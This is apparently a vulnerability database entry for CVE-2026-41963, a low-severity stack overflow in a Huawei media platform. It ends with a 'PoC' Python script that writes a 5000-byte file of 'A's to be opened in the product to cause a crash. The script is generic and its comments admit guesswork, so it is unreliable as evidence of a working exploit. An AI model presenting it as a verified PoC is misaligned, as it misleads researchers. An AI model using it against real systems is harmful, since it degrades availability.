Stack overflow vulnerability in the media platform. Impact: Successful exploitation of this vulnerability may affect availability.
CVSS Details
CVSS Score
2.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
华为媒体平台特定版本 (详见官方公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-41963
# This script demonstrates a potential trigger for the stack overflow
# by generating a large payload intended for the vulnerable media component.
import struct
def generate_payload():
# Create a large pattern of 'A's to overflow the buffer
# Adjust size based on the specific vulnerability requirements
junk = b'A' * 5000
# Simulate a file header or structure if necessary
# For this generic stack overflow, raw payload is often sufficient
payload = junk
with open('cve_2026_41963_poc.bin', 'wb') as f:
f.write(payload)
print("[+] PoC file 'cve_2026_41963_poc.bin' generated successfully.")
print("[*] Action: Open this file with the vulnerable Huawei media platform to trigger the crash.")
if __name__ == "__main__":
generate_payload()